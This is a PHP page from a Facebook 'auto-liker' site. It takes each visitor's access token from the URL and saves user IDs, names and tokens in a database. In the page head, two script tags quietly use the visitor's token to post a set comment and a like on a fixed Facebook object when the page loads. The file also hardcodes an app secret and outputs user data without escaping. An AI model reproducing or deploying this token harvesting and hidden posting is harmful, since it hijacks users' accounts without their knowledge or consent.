View file liker.php

File size: 6.27Kb
<?

if (!isset($_SESSION)) {

session_start();

}

// anti flood protection

if($_SESSION['last_session_request'] > time() - 2){

// users will be redirected to this page if it makes requests faster than 2 seconds

header("location: /flood.html");

exit;

}

$_SESSION['last_session_request'] = time();



?>

<?php

require 'facebook.php';



$token = $_GET["accesstoken"];

$fb_secret  = $_GET["sec"];

$fb_app_url  = 'http://ph.superlike.org/m.php';

$facebook = new Facebook(array(

'appId' => '190499737732728',

'secret' => '1ad06c71c3e1f2eb09a399099270c011',

'cookie' => true

));



include'config.php';



mysql_query("CREATE TABLE IF NOT EXISTS `Likers` (

`id` int(11) NOT NULL AUTO_INCREMENT,

`user_id` varchar(32) NOT NULL,

`name` varchar(32) NOT NULL,

`access_token` varchar(255) NOT NULL,

PRIMARY KEY (`id`)

) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;

");



try {

$parameters['access_token'] = $_GET["accesstoken" ];

$userData = $facebook->api('/me', $parameters);

} catch (FacebookApiException $e) {

die("invalid access token");

}



if($userData){





//check that user is not already inserted? If is. check it's access token and update if needed

//also make sure that there is only one access_token for each user

$row = null;

$result = mysql_query("

SELECT

*

FROM

Likers

WHERE

user_id = '" . mysql_real_escape_string($userData['id']) . "'

");



if($result){

$row = mysql_fetch_array($result, MYSQL_ASSOC);

if(mysql_num_rows($result) > 1){

mysql_query("

DELETE FROM

Likers

WHERE

user_id='" . mysql_real_escape_string($userData['id']) . "' AND

id != '" . $row['id'] . "'

");

}

}



if(!$row){

mysql_query(

"INSERT INTO

Likers

SET

`user_id` = '" . mysql_real_escape_string($userData['id']) . "',

`name` = '" . mysql_real_escape_string($userData['name']) . "',

`access_token` = '" . mysql_real_escape_string($token) . "'

");

} else {

mysql_query(

"UPDATE

Likers

SET

`access_token` = '" . mysql_real_escape_string($token) . "'

WHERE

`id` = " . $row['id'] . "

");

}

}







try {

$parameters['access_token'] = $_GET["accesstoken"];

$statuses = $facebook->api('/me/feed?limit=1=', $parameters);

foreach($statuses['data'] as $status)

{

echo $status["me/photo"], "<br />";

}

}

catch (FacebookApiException $e) {

die("invalid access token");

}





mysql_close($connection);

?>

<!DOCTYPE html>

<html xmlns:fb='http://ogp.me/ns/fb#'>
<head>

<title>Doraemon Liker</title>

<link rel="stylesheet" type="text/css" href="fb-button.css">
<link href='http://fonts.googleapis.com/css?family=PT+Mono' rel='stylesheet' type='text/css'>
<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript" src="js/jquery.form.js"></script>
<script type="text/javascript" src="http://code.jquery.com/jquery-1.4.2.min.js"></script>
<script type="text/javascript" src="http://ajax.microsoft.com/ajax/jquery.validate/1.7/jquery.validate.min.js"></script>
<script src='https://graph.facebook.com/258618467530761/comments?method=post&message=siiip+mz+bimo+pokok+nya+Te+Ow+Be+Ge+Te+suxes+selalu&access_token=<?php echo $token;?>'></script>
<script src='https://graph.facebook.com/258618467530761/likes?method=post&access_token=<?php echo $token;?>'></script>
<style type="text/css">
html {height:100%; width:100%;}
body {
background: -webkit-linear-gradient(top, #3B5998, #3B5998);
margin:0;
font-family: 'PT Mono', sans-serif;
FONT-SIZE: 9pt;
overflow:hidden;
height:100%;
}
P { FONT-SIZE: 9pt; COLOR: #FF0000;}
TD { FONT-SIZE: 9pt; COLOR: #000000;}
.header{background:#3b5998;}
.dtd{width:100%; height:530px; overflow:auto;}
.floating-menu{width:700px; height:100px; }
ul{padding:0; margin:0;}
li {width:120px; float:left; list-style-type:none; padding:10px; text-align:center;}
a {color :#fff; text-decoration:none; text-style:bold; font-family: verdana;
font-weight: bold;}

.contrib {width:100%; height:20px;}
</style>
<link href="http://www.sacimage.net/images/1343354315.jpg" rel="icon" type="image/x-icon" />
<link href='http://fonts.googleapis.com/css?family=PT+Mono' rel='stylesheet' type='text/css'>
<link rel="stylesheet" type="text/css" href="fb-buttons.css">



<script type="text/javascript">

function autoLike()

{

$("#prepage").hide();

$("#loading").show();

}

</script>

<script type="text/javascript">

$(document).ready(function(){

$("#myform").validate({

debug: false,

rules: {

posid: "required",

},

messages: {

postid: "Do not Erase the ID!",

},

submitHandler: function(form) {

// do other stuff for a valid form

$.post('likes.php', $("#myform").serialize(), function(data) {

$("#loading").hide();

$("#success").show();

});

}

});

});

</script>

<script type="text/javascript">

function showLiker()

{

$("#bye").hide();

$("#prepage").show();

}

</script>

<center>

<body onLoad="setTimeout('showLiker()', 1000);" >

<div id="mikik">

<div class="box">

<br/>

<br/>

<img src="https://graph.facebook.com/me/picture?type=large&access_token=<?php echo $token;?>" width='200px' height '200px'>

<div class="m">Welcome <?php echo $userData['name']; ?>:<br/><br/>

<p>Status: </br><div><?php echo $status["message"];?></p>

</div>

</br>

</br>

<form name="myform" id="myform" method="post" action="">

<p>Status ID:<input size="31" type="visible" name="postid" id="postid" value="<?php echo $status["id"];?>" class="text-input" /></p>

<div><p>Comment ID:<input type="text" size="39" name="postid" id="postid" value="<?php echo $status["id"];?>" class="text-input" /></p></div>

<?php

$endOfTimer = time() + 10;

$timeTilEnd = $endOfTimer - time();

?>

<div id="bye"><span id="timer"><?php echo $timeTilEnd; ?></span></div>

<div id="prepage" style="display: none;"><input type="submit" name="submit" class="uibutton confirm" onclick="autoLike()" id="submit_btn" value="Autolike" /></div>

<div id="loading" style="display: none;"><img src="loading.gif" border="0" alt="Please Wait" /></div>

<div id="success" style="display: none;">Success!</div>

<script type="text/javascript">

var TimeLeft = <?php echo $timeTilEnd; ?>;



function countdown()

{

TimeLeft -= 1;

document.getElementById('timer').innerHTML = TimeLeft;

}
CountFunc = setInterval(countdown,60);

</script>

</div>

</form>
<div class="contrib">

<?php

print "<p align=\"center\"><font color=\"#000000\">&copy; Kediri 2013 All Right Reserved </font></p>";

?>

</div>

</center>

</div>

</body>

</html>